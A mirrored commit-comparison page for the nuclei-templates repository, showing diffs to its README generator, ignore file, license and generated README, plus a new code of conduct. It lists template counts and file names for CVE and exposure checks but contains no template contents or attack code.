mirror of
https://github.com/projectdiscovery/nuclei-templates.git
synced 2026-11-07 08:36:19 -10:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
619d9bba40 | ||
|
|
e1211fa597 | ||
|
|
07ca64dfe1 | ||
|
|
1e7f79065a | ||
|
|
a329a450d8 | ||
|
|
f8d5242701 | ||
|
|
55507dfdbb | ||
|
|
aad1cc2924 | ||
|
|
ec7ff98426 | ||
|
|
38c68c4f4c | ||
|
|
6101f8e537 | ||
|
|
ed4b717d65 | ||
|
|
cb9f3bd024 | ||
|
|
0d3122901c | ||
|
|
56f508af7e | ||
|
|
efc31d6397 | ||
|
|
80d860af54 | ||
|
|
018bbc9075 | ||
|
|
f6ccec48ed | ||
|
|
73c5597039 | ||
|
|
66fc9f852c | ||
|
|
aa7420713b | ||
|
|
64209dca7d | ||
|
|
262ff4a266 | ||
|
|
6451399e11 | ||
|
|
90cd9baa97 | ||
|
|
666efcc77e | ||
|
|
7a4f0b26a9 | ||
|
|
8bd790f98d | ||
|
|
1e78e2d130 | ||
|
|
01d094e8e9 | ||
|
|
08119c0df6 | ||
|
|
787f2fd31c | ||
|
|
1bdb30c5b8 | ||
|
|
d469835cc5 | ||
|
|
858ad735ee | ||
|
|
3be5354a7d | ||
|
|
2c7a7a8b4d | ||
|
|
1c456c03d6 | ||
|
|
a2ffd5579b | ||
|
|
fb97d100b8 | ||
|
|
18bc1f9058 | ||
|
|
064f084dee | ||
|
|
b1c528f1fe | ||
|
|
544382d143 | ||
|
|
865c778d4b | ||
|
|
8716982876 | ||
|
|
2ff5e8ca42 | ||
|
|
8623e04d4d | ||
|
|
f2dd4116ea | ||
|
|
81891e9cbd | ||
|
|
a2d7e4c17c | ||
|
|
d4cd988434 | ||
|
|
03d7cd10eb | ||
|
|
675c576b86 | ||
|
|
40e1df8493 | ||
|
|
663de70127 | ||
|
|
7e10ff9064 | ||
|
|
225aae6bb8 | ||
|
|
2fd6ae31cb | ||
|
|
21bfead0b1 | ||
|
|
a9c9809283 | ||
|
|
0eee24b932 | ||
|
|
ee82f8364e | ||
|
|
0ba5cb746f | ||
|
|
a1cded9f2b | ||
|
|
2c217760db | ||
|
|
72c8d0e2ef | ||
|
|
ad23717e7c | ||
|
|
682c9745c7 | ||
|
|
6f29ea6a16 | ||
|
|
f57bbc4f41 | ||
|
|
23aeed3f9b | ||
|
|
a887ebe289 | ||
|
|
7f1abf1e4b | ||
|
|
1712d10086 | ||
|
|
4782898579 | ||
|
|
f4529d02c5 | ||
|
|
abe3f04402 | ||
|
|
45d26b875e | ||
|
|
5e7ae851f1 | ||
|
|
41a7be73e4 | ||
|
|
e2731dba90 | ||
|
|
26ded33ff7 | ||
|
|
98e97a61cc | ||
|
|
c762044d29 | ||
|
|
589fc182ad | ||
|
|
a98c2c6bb1 | ||
|
|
de5c1e0b47 | ||
|
|
3677f1c29d | ||
|
|
a922262352 | ||
|
|
4e5b984ab5 | ||
|
|
3c6bdd78ba | ||
|
|
8d0146bd28 | ||
|
|
de09cbbd43 | ||
|
|
49719a1f36 | ||
|
|
d0385eb39b | ||
|
|
0ccc0a38c0 | ||
|
|
b81431fc29 | ||
|
|
16f1cfc82c | ||
|
|
83680ab280 | ||
|
|
b4989107e6 | ||
|
|
abe02d6e31 | ||
|
|
28d15453d9 | ||
|
|
741d05a4c0 | ||
|
|
18ffc0c267 | ||
|
|
a1acbec6f2 | ||
|
|
936f01a84d | ||
|
|
1a14ff8c44 | ||
|
|
58ebf59035 | ||
|
|
4b13b7a485 | ||
|
|
f1fde92070 | ||
|
|
1a6c4e7f33 | ||
|
|
642480ecb8 | ||
|
|
f7b9ae5148 | ||
|
|
54af34fa79 | ||
|
|
0c237549fe | ||
|
|
bbf0d42cf9 | ||
|
|
8d647ffbad | ||
|
|
dc24595935 | ||
|
|
f8114097a2 | ||
|
|
631a135ea5 | ||
|
|
29c1b3422d | ||
|
|
9234a6801f | ||
|
|
e39a230a18 | ||
|
|
0d92c9e39f | ||
|
|
066e3813be | ||
|
|
4fd46aabd3 | ||
|
|
a9204500ae | ||
|
|
3cb3ac6bcb | ||
|
|
b5b9eeb6bd | ||
|
|
8352228bc6 | ||
|
|
6ca9591c99 | ||
|
|
b528ce663c | ||
|
|
6ee2e5873d | ||
|
|
106da77fc3 | ||
|
|
8427a7167c | ||
|
|
b5159893d0 | ||
|
|
ae81785b2d | ||
|
|
e401882391 | ||
|
|
d8fc0079d9 | ||
|
|
4001d8f967 | ||
|
|
33bc9f554a | ||
|
|
77ae542dd1 | ||
|
|
389477dd28 | ||
|
|
afee90df5b | ||
|
|
2980315030 | ||
|
|
891c3d3736 | ||
|
|
3884cae525 | ||
|
|
3c90d959d5 | ||
|
|
540da369d0 | ||
|
|
b74b412ce0 | ||
|
|
2411de1934 | ||
|
|
5a3dccca5b | ||
|
|
f128031add | ||
|
|
d94bcfe9ec | ||
|
|
0b4c49e485 | ||
|
|
2d28f321ab | ||
|
|
101abb2df3 | ||
|
|
c62dfd2b53 | ||
|
|
1468d8a52c | ||
|
|
d69ce217e8 | ||
|
|
9ab927f60c | ||
|
|
6beee02685 | ||
|
|
92690952d8 | ||
|
|
d393389ecf | ||
|
|
b5dd30abf5 | ||
|
|
b80ca7732d | ||
|
|
8a12488c32 | ||
|
|
32efba63f7 | ||
|
|
f2f7ada0ff | ||
|
|
a52ffe5c4e | ||
|
|
a90d047991 | ||
|
|
664a6f3b04 | ||
|
|
1dae8d890c | ||
|
|
df66d17de5 | ||
|
|
3b11f4f2cb | ||
|
|
eaaf56e9da | ||
|
|
187e4a5feb | ||
|
|
51de12683b | ||
|
|
90c9b657c7 | ||
|
|
0cf38debaf | ||
|
|
81c04d4e07 | ||
|
|
95d784d9b7 | ||
|
|
21ea71e4c1 | ||
|
|
d0c84abeb3 | ||
|
|
7b749674d4 | ||
|
|
81e207870e | ||
|
|
07d2aec8b6 | ||
|
|
d0f3b8a7e7 | ||
|
|
eb66806f5c | ||
|
|
87ec61f0de | ||
|
|
cc0bc4f592 | ||
|
|
b6328c0951 | ||
|
|
a316468af3 | ||
|
|
8a21f73b95 | ||
|
|
ebe6aded7c | ||
|
|
a9bdfb7b38 | ||
|
|
c295590603 | ||
|
|
4305c47242 | ||
|
|
fd21624235 | ||
|
|
f513e6739a | ||
|
|
a4c8f1c8ff | ||
|
|
b543fb132f | ||
|
|
2471e9b776 | ||
|
|
32143aa738 | ||
|
|
b5538255a3 | ||
|
|
f389b7c7fb | ||
|
|
11f9cde3a3 | ||
|
|
5b86caa168 | ||
|
|
349b541a57 | ||
|
|
fd032ea50a | ||
|
|
b622b432e9 | ||
|
|
3fc96a427c | ||
|
|
f938a9b1ab | ||
|
|
4c8c34992a | ||
|
|
dfd308612b | ||
|
|
8cd8bcb43b | ||
|
|
9381dbbbe0 | ||
|
|
4f180df3dd | ||
|
|
3e03da97f1 | ||
|
|
02833a9fb3 | ||
|
|
bc8fa0d4c5 | ||
|
|
9ec41352f6 | ||
|
|
7d0ba9c88b | ||
|
|
337c73e30b | ||
|
|
fd0ddb1973 | ||
|
|
6022764db2 | ||
|
|
9886634754 | ||
|
|
68c00d7df6 | ||
|
|
64ebf91dd3 | ||
|
|
95c044922b | ||
|
|
5a57ab2bbb | ||
|
|
e316a21587 | ||
|
|
d5c585e005 | ||
|
|
10db95aab5 | ||
|
|
9a1c93c1c0 | ||
|
|
c5838760fe |
No files matched your search
+48
-18
@@ -9,23 +9,35 @@ f"""
|
||||
|
||||
Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.
|
||||
|
||||
An overview of the nuclei template directory including number of templates and HTTP request associated with each directory.
|
||||
# Resources
|
||||
|
||||
### Nuclei templates `{version}` overview
|
||||
- [Templates](#nuclei-templates-overview)
|
||||
- [Documentation](#-documentation)
|
||||
- [Contributions](#-contributions)
|
||||
- [Discussion](#-discussion)
|
||||
- [Community](#-community)
|
||||
- [Notes](#-notes)
|
||||
|
||||
| Templates | Counts | Templates | Counts |
|
||||
| ------------------ | -------------------------------- | ------------------------- | --------------------------------------- |
|
||||
| cves | {countTpl("cves/*")} | files | {countTpl("files")} |
|
||||
| vulnerabilities | {countTpl("vulnerabilities")} | panels | {countTpl("panels")} |
|
||||
| technologies | {countTpl("technologies")} | security-misconfiguration | {countTpl("security-misconfiguration")} |
|
||||
| workflows | {countTpl("workflows")} | tokens | {countTpl("tokens")} |
|
||||
| dns | {countTpl("dns")} | fuzzing | {countTpl("fuzzing")} |
|
||||
| generic-detections | {countTpl("generic-detections")} | default-credentials | {countTpl("default-credentials")} |
|
||||
| subdomain-takeover | {countTpl("subdomain-takeover")} | payloads | {countTpl("payloads")} |
|
||||
| wordlists | {countTpl("wordlists")} | misc | {countTpl("misc")} |
|
||||
### Nuclei templates overview
|
||||
-----
|
||||
|
||||
An overview of the nuclei template directory including number of templates associated with each directory.
|
||||
|
||||
|
||||
### Nuclei templates `{version}` tree overview
|
||||
**Directory structure of nuclei templates:**
|
||||
|
||||
| Templates | Counts | Templates | Counts |
|
||||
| --------------- | ------------------------------- | ---------------- | ------------------------------ |
|
||||
| cves | {countTpl("cves/*")} | default-logins | {countTpl("default-logins/*")} |
|
||||
| dns | {countTpl("dns")} | exposed-panels | {countTpl("exposed-panels")} |
|
||||
| exposed-tokens | {countTpl("exposed-tokens/*")} | exposures | {countTpl("exposures/*")} |
|
||||
| fuzzing | {countTpl("fuzzing")} | helpers | {countTpl("helpers/*")} |
|
||||
| miscellaneous | {countTpl("miscellaneous")} | misconfiguration | {countTpl("misconfiguration")} |
|
||||
| takeovers | {countTpl("takeovers")} | technologies | {countTpl("technologies")} |
|
||||
| vulnerabilities | {countTpl("vulnerabilities/*")} | workflows | {countTpl("workflows")} |
|
||||
|
||||
|
||||
**Tree structure of nuclei templates:**
|
||||
|
||||
<details>
|
||||
<summary> Nuclei templates </summary>
|
||||
@@ -38,12 +50,30 @@ An overview of the nuclei template directory including number of templates and H
|
||||
|
||||
**{command("tree", -2, None)}**.
|
||||
|
||||
Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding.
|
||||
📖 Documentation
|
||||
-----
|
||||
|
||||
Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to **build** new and your **own custom** templates, we have also added many example templates for easy understanding.
|
||||
|
||||
💪 Contributions
|
||||
-----
|
||||
|
||||
Nuclei-templates is powered by major contributions from the community. [Template contributions ](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [Feature Requests](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) and [Bug Reports](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+) are more than welcome.
|
||||
|
||||
💬 Discussion
|
||||
-----
|
||||
|
||||
Have questions / doubts / ideas to discuss? feel free to open a discussion using [Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) board.
|
||||
|
||||
👨💻 Community
|
||||
-----
|
||||
|
||||
You are welcomed to join our [Discord Community](https://discord.gg/KECAGdH). You can also follow us on [Twitter](https://twitter.com/pdiscoveryio) to keep up with everything related to projectdiscovery.
|
||||
|
||||
💡 Notes
|
||||
-----
|
||||
- Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/) to validate the syntax of templates before sending pull requests.
|
||||
|
||||
------
|
||||
**Notes:**
|
||||
1. Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/)) to validate new templates when sending pull requests.
|
||||
2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.
|
||||
|
||||
Thanks again for your contribution and keeping the community vibrant. :heart:
|
||||
"""
|
||||
+6
-7
@@ -12,18 +12,17 @@
|
||||
# More details - https://github.com/projectdiscovery/nuclei#using-nuclei-ignore-file-for-template-exclusion
|
||||
|
||||
.pre-commit-config.yaml
|
||||
cves/CVE-2017-7529.yaml
|
||||
cves/CVE-2020-13379.yaml
|
||||
cves/CVE-2013-2251.yaml
|
||||
cves/CVE-2020-16139.yaml
|
||||
vulnerabilities/x-forwarded-host-injection.yaml
|
||||
cves/2013/CVE-2013-2251.yaml
|
||||
cves/2017/CVE-2017-7529.yaml
|
||||
cves/2020/CVE-2020-13379.yaml
|
||||
cves/2020/CVE-2020-16139.yaml
|
||||
|
||||
# Fuzzing is excluded to avoid running bruteforce on every server as default.
|
||||
fuzzing/
|
||||
|
||||
# Wordlist directory contains payload to be used with templates.
|
||||
wordlists/
|
||||
misc/
|
||||
helpers/
|
||||
miscellaneous/
|
||||
|
||||
# Workflows are excluded from default run to avoid duplicate scans.
|
||||
workflows/
|
||||
@@ -0,0 +1,76 @@
|
||||
# Contributor Covenant Code of Conduct
|
||||
|
||||
## Our Pledge
|
||||
|
||||
In the interest of fostering an open and welcoming environment, we as
|
||||
contributors and maintainers pledge to making participation in our project and
|
||||
our community a harassment-free experience for everyone, regardless of age, body
|
||||
size, disability, ethnicity, sex characteristics, gender identity and expression,
|
||||
level of experience, education, socio-economic status, nationality, personal
|
||||
appearance, race, religion, or sexual identity and orientation.
|
||||
|
||||
## Our Standards
|
||||
|
||||
Examples of behavior that contributes to creating a positive environment
|
||||
include:
|
||||
|
||||
* Using welcoming and inclusive language
|
||||
* Being respectful of differing viewpoints and experiences
|
||||
* Gracefully accepting constructive criticism
|
||||
* Focusing on what is best for the community
|
||||
* Showing empathy towards other community members
|
||||
|
||||
Examples of unacceptable behavior by participants include:
|
||||
|
||||
* The use of sexualized language or imagery and unwelcome sexual attention or
|
||||
advances
|
||||
* Trolling, insulting/derogatory comments, and personal or political attacks
|
||||
* Public or private harassment
|
||||
* Publishing others' private information, such as a physical or electronic
|
||||
address, without explicit permission
|
||||
* Other conduct which could reasonably be considered inappropriate in a
|
||||
professional setting
|
||||
|
||||
## Our Responsibilities
|
||||
|
||||
Project maintainers are responsible for clarifying the standards of acceptable
|
||||
behavior and are expected to take appropriate and fair corrective action in
|
||||
response to any instances of unacceptable behavior.
|
||||
|
||||
Project maintainers have the right and responsibility to remove, edit, or
|
||||
reject comments, commits, code, wiki edits, issues, and other contributions
|
||||
that are not aligned to this Code of Conduct, or to ban temporarily or
|
||||
permanently any contributor for other behaviors that they deem inappropriate,
|
||||
threatening, offensive, or harmful.
|
||||
|
||||
## Scope
|
||||
|
||||
This Code of Conduct applies both within project spaces and in public spaces
|
||||
when an individual is representing the project or its community. Examples of
|
||||
representing a project or community include using an official project e-mail
|
||||
address, posting via an official social media account, or acting as an appointed
|
||||
representative at an online or offline event. Representation of a project may be
|
||||
further defined and clarified by project maintainers.
|
||||
|
||||
## Enforcement
|
||||
|
||||
Instances of abusive, harassing, or otherwise unacceptable behavior may be
|
||||
reported by contacting the project team at contact@projectdiscovery.io. All
|
||||
complaints will be reviewed and investigated and will result in a response that
|
||||
is deemed necessary and appropriate to the circumstances. The project team is
|
||||
obligated to maintain confidentiality with regard to the reporter of an incident.
|
||||
Further details of specific enforcement policies may be posted separately.
|
||||
|
||||
Project maintainers who do not follow or enforce the Code of Conduct in good
|
||||
faith may face temporary or permanent repercussions as determined by other
|
||||
members of the project's leadership.
|
||||
|
||||
## Attribution
|
||||
|
||||
This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,
|
||||
available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html
|
||||
|
||||
[homepage]: https://www.contributor-covenant.org
|
||||
|
||||
For answers to common questions about this code of conduct, see
|
||||
https://www.contributor-covenant.org/faq
|
||||
+1
-1
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2020 Exposed Atoms.
|
||||
Copyright (c) 2020 ProjectDiscovery, Inc.
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -9,28 +9,41 @@
|
||||
|
||||
Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.
|
||||
|
||||
An overview of the nuclei template directory including number of templates and HTTP request associated with each directory.
|
||||
# Resources
|
||||
|
||||
### Nuclei templates `v7.3.4` overview
|
||||
- [Templates](#nuclei-templates-overview)
|
||||
- [Documentation](#-documentation)
|
||||
- [Contributions](#-contributions)
|
||||
- [Discussion](#-discussion)
|
||||
- [Community](#-community)
|
||||
- [Notes](#-notes)
|
||||
|
||||
| Templates | Counts | Templates | Counts |
|
||||
| ------------------ | -------------------------------- | ------------------------- | --------------------------------------- |
|
||||
| cves | 145 | files | 47 |
|
||||
| vulnerabilities | 42 | panels | 49 |
|
||||
| technologies | 41 | security-misconfiguration | 28 |
|
||||
| workflows | 17 | tokens | 8 |
|
||||
| dns | 6 | fuzzing | 6 |
|
||||
| generic-detections | 3 | default-credentials | 4 |
|
||||
| subdomain-takeover | 2 | payloads | 2 |
|
||||
| wordlists | 1 | misc | 14 |
|
||||
### Nuclei templates overview
|
||||
-----
|
||||
|
||||
An overview of the nuclei template directory including number of templates associated with each directory.
|
||||
|
||||
|
||||
### Nuclei templates `v7.3.4` tree overview
|
||||
**Directory structure of nuclei templates:**
|
||||
|
||||
| Templates | Counts | Templates | Counts |
|
||||
| --------------- | ------------------------------- | ---------------- | ------------------------------ |
|
||||
| cves | 161 | default-logins | 8 |
|
||||
| dns | 6 | exposed-panels | 73 |
|
||||
| exposed-tokens | 9 | exposures | 40 |
|
||||
| fuzzing | 5 | helpers | 3 |
|
||||
| miscellaneous | 13 | misconfiguration | 39 |
|
||||
| takeovers | 1 | technologies | 46 |
|
||||
| vulnerabilities | 71 | workflows | 17 |
|
||||
|
||||
|
||||
**Tree structure of nuclei templates:**
|
||||
|
||||
<details>
|
||||
<summary> Nuclei templates </summary>
|
||||
|
||||
```
|
||||
├── CODE_OF_CONDUCT.md
|
||||
├── LICENSE.md
|
||||
├── README.md
|
||||
├── cves
|
||||
@@ -75,8 +88,12 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ │ ├── CVE-2018-3714.yaml
|
||||
│ │ ├── CVE-2018-3760.yaml
|
||||
│ │ ├── CVE-2018-5230.yaml
|
||||
│ │ └── CVE-2018-7490.yaml
|
||||
│ │ ├── CVE-2018-7251.yaml
|
||||
│ │ ├── CVE-2018-7490.yaml
|
||||
│ │ ├── CVE-2018-8006.yaml
|
||||
│ │ └── CVE-2018-8033.yaml
|
||||
│ ├── 2019
|
||||
│ │ ├── CVE-2019-10092.yaml
|
||||
│ │ ├── CVE-2019-1010287.yaml
|
||||
│ │ ├── CVE-2019-10475.yaml
|
||||
│ │ ├── CVE-2019-11248.yaml
|
||||
@@ -88,6 +105,7 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ │ ├── CVE-2019-12461.yaml
|
||||
│ │ ├── CVE-2019-12593.yaml
|
||||
│ │ ├── CVE-2019-12725.yaml
|
||||
│ │ ├── CVE-2019-14223.yaml
|
||||
│ │ ├── CVE-2019-14322.yaml
|
||||
│ │ ├── CVE-2019-14696.yaml
|
||||
│ │ ├── CVE-2019-14974.yaml
|
||||
@@ -117,6 +135,7 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ │ ├── CVE-2019-6112.yaml
|
||||
│ │ ├── CVE-2019-6340.yaml
|
||||
│ │ ├── CVE-2019-6715.yaml
|
||||
│ │ ├── CVE-2019-7219.yaml
|
||||
│ │ ├── CVE-2019-7256.yaml
|
||||
│ │ ├── CVE-2019-7609.yaml
|
||||
│ │ ├── CVE-2019-8442.yaml
|
||||
@@ -126,72 +145,95 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ │ ├── CVE-2019-8982.yaml
|
||||
│ │ ├── CVE-2019-9670.yaml
|
||||
│ │ ├── CVE-2019-9733.yaml
|
||||
│ │ ├── CVE-2019-9955.yaml
|
||||
│ │ └── CVE-2019-9978.yaml
|
||||
│ └── 2020
|
||||
│ ├── CVE-2020-0618.yaml
|
||||
│ ├── CVE-2020-10148.yaml
|
||||
│ ├── CVE-2020-10199.yaml
|
||||
│ ├── CVE-2020-10204.yaml
|
||||
│ ├── CVE-2020-11034.yaml
|
||||
│ ├── CVE-2020-1147.yaml
|
||||
│ ├── CVE-2020-11738.yaml
|
||||
│ ├── CVE-2020-12116.yaml
|
||||
│ ├── CVE-2020-12720.yaml
|
||||
│ ├── CVE-2020-13167.yaml
|
||||
│ ├── CVE-2020-13942.yaml
|
||||
│ ├── CVE-2020-14179.yaml
|
||||
│ ├── CVE-2020-14181.yaml
|
||||
│ ├── CVE-2020-14864.yaml
|
||||
│ ├── CVE-2020-14882.yaml
|
||||
│ ├── CVE-2020-15129.yaml
|
||||
│ ├── CVE-2020-15505.yaml
|
||||
│ ├── CVE-2020-15920.yaml
|
||||
│ ├── CVE-2020-16139.yaml
|
||||
│ ├── CVE-2020-16846.yaml
|
||||
│ ├── CVE-2020-16952.yaml
|
||||
│ ├── CVE-2020-17505.yaml
|
||||
│ ├── CVE-2020-17506.yaml
|
||||
│ ├── CVE-2020-2096.yaml
|
||||
│ ├── CVE-2020-2140.yaml
|
||||
│ ├── CVE-2020-23972.yaml
|
||||
│ ├── CVE-2020-24223.yaml
|
||||
│ ├── CVE-2020-24312.yaml
|
||||
│ ├── CVE-2020-2551.yaml
|
||||
│ ├── CVE-2020-25540.yaml
|
||||
│ ├── CVE-2020-26214.yaml
|
||||
│ ├── CVE-2020-3187.yaml
|
||||
│ ├── CVE-2020-3452.yaml
|
||||
│ ├── CVE-2020-4463.yaml
|
||||
│ ├── CVE-2020-5284.yaml
|
||||
│ ├── CVE-2020-5405.yaml
|
||||
│ ├── CVE-2020-5410.yaml
|
||||
│ ├── CVE-2020-5412.yaml
|
||||
│ ├── CVE-2020-5776.yaml
|
||||
│ ├── CVE-2020-5777.yaml
|
||||
│ ├── CVE-2020-5902.yaml
|
||||
│ ├── CVE-2020-6287.yaml
|
||||
│ ├── CVE-2020-7209.yaml
|
||||
│ ├── CVE-2020-7318.yaml
|
||||
│ ├── CVE-2020-7961.yaml
|
||||
│ ├── CVE-2020-8091.yaml
|
||||
│ ├── CVE-2020-8115.yaml
|
||||
│ ├── CVE-2020-8163.yaml
|
||||
│ ├── CVE-2020-8191.yaml
|
||||
│ ├── CVE-2020-8193.yaml
|
||||
│ ├── CVE-2020-8194.yaml
|
||||
│ ├── CVE-2020-8209.yaml
|
||||
│ ├── CVE-2020-8512.yaml
|
||||
│ ├── CVE-2020-8982.yaml
|
||||
│ ├── CVE-2020-9047.yaml
|
||||
│ ├── CVE-2020-9344.yaml
|
||||
│ ├── CVE-2020-9484.yaml
|
||||
│ ├── CVE-2020-9496.yaml
|
||||
│ └── CVE-2020-9757.yaml
|
||||
├── default-credentials
|
||||
│ ├── grafana-default-credential.yaml
|
||||
│ ├── rabbitmq-default-admin.yaml
|
||||
│ ├── solarwinds-default-admin.yaml
|
||||
│ └── tomcat-manager-default.yaml
|
||||
│ ├── 2020
|
||||
│ │ ├── CVE-2020-0618.yaml
|
||||
│ │ ├── CVE-2020-10148.yaml
|
||||
│ │ ├── CVE-2020-11034.yaml
|
||||
│ │ ├── CVE-2020-1147.yaml
|
||||
│ │ ├── CVE-2020-11738.yaml
|
||||
│ │ ├── CVE-2020-12116.yaml
|
||||
│ │ ├── CVE-2020-12720.yaml
|
||||
│ │ ├── CVE-2020-13167.yaml
|
||||
│ │ ├── CVE-2020-13937.yaml
|
||||
│ │ ├── CVE-2020-13942.yaml
|
||||
│ │ ├── CVE-2020-14179.yaml
|
||||
│ │ ├── CVE-2020-14181.yaml
|
||||
│ │ ├── CVE-2020-14864.yaml
|
||||
│ │ ├── CVE-2020-14882.yaml
|
||||
│ │ ├── CVE-2020-15129.yaml
|
||||
│ │ ├── CVE-2020-15505.yaml
|
||||
│ │ ├── CVE-2020-15920.yaml
|
||||
│ │ ├── CVE-2020-16846.yaml
|
||||
│ │ ├── CVE-2020-16952.yaml
|
||||
│ │ ├── CVE-2020-17505.yaml
|
||||
│ │ ├── CVE-2020-17506.yaml
|
||||
│ │ ├── CVE-2020-17518.yaml
|
||||
│ │ ├── CVE-2020-17519.yaml
|
||||
│ │ ├── CVE-2020-17530.yaml
|
||||
│ │ ├── CVE-2020-1943.yaml
|
||||
│ │ ├── CVE-2020-2096.yaml
|
||||
│ │ ├── CVE-2020-2140.yaml
|
||||
│ │ ├── CVE-2020-23972.yaml
|
||||
│ │ ├── CVE-2020-24223.yaml
|
||||
│ │ ├── CVE-2020-24312.yaml
|
||||
│ │ ├── CVE-2020-24579.yaml
|
||||
│ │ ├── CVE-2020-2551.yaml
|
||||
│ │ ├── CVE-2020-25540.yaml
|
||||
│ │ ├── CVE-2020-26214.yaml
|
||||
│ │ ├── CVE-2020-27986.yaml
|
||||
│ │ ├── CVE-2020-3187.yaml
|
||||
│ │ ├── CVE-2020-3452.yaml
|
||||
│ │ ├── CVE-2020-35476.yaml
|
||||
│ │ ├── CVE-2020-4463.yaml
|
||||
│ │ ├── CVE-2020-5284.yaml
|
||||
│ │ ├── CVE-2020-5405.yaml
|
||||
│ │ ├── CVE-2020-5410.yaml
|
||||
│ │ ├── CVE-2020-5412.yaml
|
||||
│ │ ├── CVE-2020-5776.yaml
|
||||
│ │ ├── CVE-2020-5777.yaml
|
||||
│ │ ├── CVE-2020-5902.yaml
|
||||
│ │ ├── CVE-2020-6287.yaml
|
||||
│ │ ├── CVE-2020-7209.yaml
|
||||
│ │ ├── CVE-2020-7318.yaml
|
||||
│ │ ├── CVE-2020-7961.yaml
|
||||
│ │ ├── CVE-2020-8091.yaml
|
||||
│ │ ├── CVE-2020-8115.yaml
|
||||
│ │ ├── CVE-2020-8163.yaml
|
||||
│ │ ├── CVE-2020-8191.yaml
|
||||
│ │ ├── CVE-2020-8193.yaml
|
||||
│ │ ├── CVE-2020-8194.yaml
|
||||
│ │ ├── CVE-2020-8209.yaml
|
||||
│ │ ├── CVE-2020-8512.yaml
|
||||
│ │ ├── CVE-2020-8515.yaml
|
||||
│ │ ├── CVE-2020-8982.yaml
|
||||
│ │ ├── CVE-2020-9047.yaml
|
||||
│ │ ├── CVE-2020-9344.yaml
|
||||
│ │ ├── CVE-2020-9376.yaml
|
||||
│ │ ├── CVE-2020-9484.yaml
|
||||
│ │ ├── CVE-2020-9496.yaml
|
||||
│ │ └── CVE-2020-9757.yaml
|
||||
│ └── 2021
|
||||
│ ├── CVE-2021-22873.yaml
|
||||
│ └── CVE-2021-3019.yaml
|
||||
├── default-logins
|
||||
│ ├── activemq
|
||||
│ │ └── activemq-default-login.yaml
|
||||
│ ├── ambari
|
||||
│ │ └── ambari-default-credentials.yaml
|
||||
│ ├── apache
|
||||
│ │ └── tomcat-manager-default.yaml
|
||||
│ ├── grafana
|
||||
│ │ └── grafana-default-credential.yaml
|
||||
│ ├── ofbiz
|
||||
│ │ └── ofbiz-default-credentials.yaml
|
||||
│ ├── rabbitmq
|
||||
│ │ └── rabbitmq-default-admin.yaml
|
||||
│ ├── solarwinds
|
||||
│ │ └── solarwinds-default-admin.yaml
|
||||
│ └── zabbix
|
||||
│ └── zabbix-default-credentials.yaml
|
||||
├── dns
|
||||
│ ├── azure-takeover-detection.yaml
|
||||
│ ├── cname-service-detector.yaml
|
||||
@@ -199,66 +241,154 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ ├── mx-service-detector.yaml
|
||||
│ ├── servfail-refused-hosts.yaml
|
||||
│ └── spoofable-spf-records-ptr.yaml
|
||||
├── files
|
||||
│ ├── apc-info.yaml
|
||||
│ ├── cgi-test-page.yaml
|
||||
│ ├── composer-config.yaml
|
||||
│ ├── docker-registry.yaml
|
||||
│ ├── domcfg-page.yaml
|
||||
│ ├── druid-monitor.yaml
|
||||
│ ├── drupal-install.yaml
|
||||
│ ├── ds_store.yaml
|
||||
│ ├── elasticsearch.yaml
|
||||
│ ├── elmah-log-file.yaml
|
||||
│ ├── error-logs.yaml
|
||||
│ ├── exposed-kibana.yaml
|
||||
│ ├── exposed-svn.yaml
|
||||
│ ├── filezilla.yaml
|
||||
│ ├── firebase-detect.yaml
|
||||
│ ├── git-config.yaml
|
||||
│ ├── graylog-api-browser.yaml
|
||||
│ ├── htpasswd-detection.yaml
|
||||
│ ├── jkstatus-manager.yaml
|
||||
│ ├── jolokia.yaml
|
||||
│ ├── laravel-env.yaml
|
||||
│ ├── lazy-file.yaml
|
||||
│ ├── magento-config.yaml
|
||||
│ ├── owncloud-config.yaml
|
||||
│ ├── php-errors.yaml
|
||||
│ ├── phpinfo.yaml
|
||||
│ ├── public-tomcat-instance.yaml
|
||||
│ ├── redmine-db-config.yaml
|
||||
│ ├── server-private-keys.yaml
|
||||
│ ├── server-status-localhost.yaml
|
||||
│ ├── shell-history.yaml
|
||||
│ ├── sql-dump.yaml
|
||||
│ ├── telerik-dialoghandler-detect.yaml
|
||||
│ ├── telerik-fileupload-detect.yaml
|
||||
│ ├── tomcat-scripts.yaml
|
||||
│ ├── wadl-files.yaml
|
||||
│ ├── web-config.yaml
|
||||
│ ├── wordpress-db-backup.yaml
|
||||
│ ├── wordpress-debug-log.yaml
|
||||
│ ├── wordpress-directory-listing.yaml
|
